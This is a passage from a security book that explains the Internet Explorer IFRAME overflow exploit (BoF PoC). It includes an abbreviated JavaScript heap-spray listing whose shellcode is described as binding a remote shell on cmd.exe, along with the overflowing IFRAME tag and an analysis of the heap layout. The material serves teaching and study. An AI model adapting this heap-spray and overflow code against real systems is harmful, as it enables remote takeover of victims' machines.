Exploit | Shellcoders Programming Uncovered (Uncovered series)

The Dutch hacker Berend-Jan Wever, in cooperation with hackers blazde and HDM, was the first to solve this task by constructing a more or less usable exploit code named the BoF PoC exploit (see Listing 7.2). The demo example of this exploit can be downloaded from Wever home page: http://www.edup.tudelft.nl/~bjwever/ .

Listing 7.2: The code of the exploit (abbreviated)

 <HTML> // Java script executed at the first stage of the attack. // It prepares the pointers for passing control // and forms the shellcode. <SCRIPT language="javascript">   // The shellcode gains control after overflow and   // sets the remote shell on cmd.exe by port 28876   // (abbreviated).   shellcode  =  unescape("%u4343%u4343%u0178............%uffff%uc483%u615c%u89eb");   // The pointer to the shellcode that will be spawned in the memory   bigblock = unescape("%u0D0D%u0D0D");   // The size of the auxiliary header added to every block   // of memory allocated from the heap (in double words)   headersize = 20;   // Construct nopslides blocks.   // The main issue here is fitting the size so that   // allocated dynamic memory regions follow directly   // one after another, without gaps.   //------------------------------------------------------------------   // Load the sum of the lengths of shellcode and   // the auxiliary header into slackspace.   slackspace  =  headersize + shellcode.length;   // Create the bigblock, and fill it with 0D0D0D0Dh characters.   while (bigblock.length < slackspace) bigblock += bigblock;   // Copy slackspace double words into fillblock,   // truncating the bigblock by the specified boundary   // (a clumsy solution, but it works).   fillblock  =  bigblock.substring(0, slackspace);   // Copy into the block bigblock.length-slackspace   // 0D0D0D0Dh characters.   block  =  bigblock.substring(0, bigblock.length - slackspace);   // Stretch the block to the required length.   while(block.length + slackspace < 0x40000) block = block + block + fillblock;   // Allocate 700 blocks from the heap,   // copying the stretched block into the beginning of each one   // and writing the shellcode to the end.   memory - new Array();   for (i = 0; i < 700; i++) memory[i] = block + shellcode;   </SCRIPT> // The floating frame executes at the second stage of the attack. // It causes buffer overflow and passes control to the  [0D0D0D0Dh] address. <IFRAME  SRC = file://BBBBBBBBBBBBBBBBBBBBBBBB.........BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB NAME = "CCCCCCCCCCCCCCCCCCCCCCCCCCCCC.........CCCCCCCCCCCCCCCCCCCCCCCCCCCC**"> </IFRAME> </HTML>

How does it work? First, Java script is started, which fills practically the entire dynamic memory with nopslides blocks. The beginning of each block is stuffed with a large number of pointers to the 0D0D0D0Dh address (this value is chosen arbitrarily), and the shellcode as such is located in the tail.

If at least one of the nopslides blocks overlaps the 0D0D0D0Dh address, then with a certain probability the 0D0D0D0Dh cell will contain the pointer to 0D0D0D0Dh . What is the value of this probability? Try to compute it. The heap, or dynamic memory, is made up of blocks 1 MB in size. Among them, 60 (3Ch) bytes are occupied by the auxiliary headers, and the remainder is given for user needs. Starting addresses of the allocated blocks are rounded off by the 64 KB boundary; therefore, the block that overlaps the 0D0D0D0Dh address might be located at one of the following addresses: 0D010000h, 0D020000h , , 0D0D0000h . In the worst case, the distance between the 0D0D0D0Dh cell and the end of the nopslides block will be F2F3h (62195) bytes. If the size of the shellcode doesn't exceed this value and at least one of nop-slides blocks overlaps the 0D0D0D0Dh address (which is not guaranteed ), then the probability of shellcode actuation is equal to one.

It is necessary to point out that the pointer value is chosen quite well. In Internet Explorer 5. x , the heap starts from the 018C0000h address and spans the space up to the 10000000h address. Thus, the 0D0D0D0Dh address falls near the top neighborhood. By default, Internet Explorer opens all windows in the context of the same process. With each newly-opened window, the lower boundary of the heap moves upward; therefore, it is undesirable to touch lower addresses. Nevertheless, if the value 0D0D0D0Dh is replaced with 0A0A0A0Ah , then it will be possible to do with a considerably smaller number of nopslides blocks. The strategy of dynamic memory allocation can be comfortably investigated using the LordPE Deluxe utility (Fig. 7.1) or any other tool capable of displaying the virtual memory map of any arbitrary process.

Figure 7.1: Dynamic memory of Internet Explorer being investigated using LordPE Deluxe (dump ’ dump region)

At the second stage of the attack, the IFRAME tag comes to the scene. It causes stack overflow and loads the 0D0D0D0Dh value into the EAX register. The vulnerable code located in the shdocvw.dll dynamic load library reads the double word located at the 0D0D0D0Dh address (as you recall, under favorable circumstances this double word will be equal to 0D0D0D0Dh ) and passes control to it, thus falling inside its nopslide block. Numerous 0D0D0D0Dh pointers located in its beginning are interpreted by the processor as or eax, 0D0D0D0Dh machine commands, which do not carry out anything useful. Thus, control safely goes to the shellcode, which captures control over the remote machine. Now hackers can do whatever they choose.

The problem that the hacker must face is that because of security considerations, Java doesn't provide direct access to virtual addresses and allocates memory on its own. This means that capturing the 0D0D0D0Dh address is not guaranteed even if all available memory is allocated to the script, although as the number of nopslides blocks grows, the chances for success are increasing. On the other hand, if a very large number of nopslides blocks are allocated, the operating system is nearly frozen, and the chronology of the memory use in Windows Task Manager grows exponentially (Fig. 7.2). This immediately discloses the attack. Furthermore, experienced and skilful users always disable scripts, because of which the attack is guaranteed to fail.

Figure 7.2: The rate of memory usage growth when the exploit is started for execution

Thus, this is a lab-only attack and is not usable under real-world conditions. However, do not be too self-confident; other, more elegant scenarios of organizing overflow are possible.